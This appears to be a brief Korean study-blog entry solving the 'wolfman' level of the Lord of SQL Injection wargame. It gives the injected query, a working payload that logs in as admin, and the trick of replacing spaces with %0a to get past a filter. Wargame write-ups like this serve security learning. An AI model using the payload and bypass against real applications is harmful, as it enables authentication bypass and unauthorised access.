[Load of SQL injection] wolfman ?pw=1%27or%0aid=%27admin 1. select id from prob_wolfman where id='guest' and pw='1'or id='admin' 2. 공백은 %0a로 우회 3. 결과 --> URL 뒤에 ?pw=1%27or%0aid=%27admin 입력 보안 공부/Load of SQL injection 2022.01.27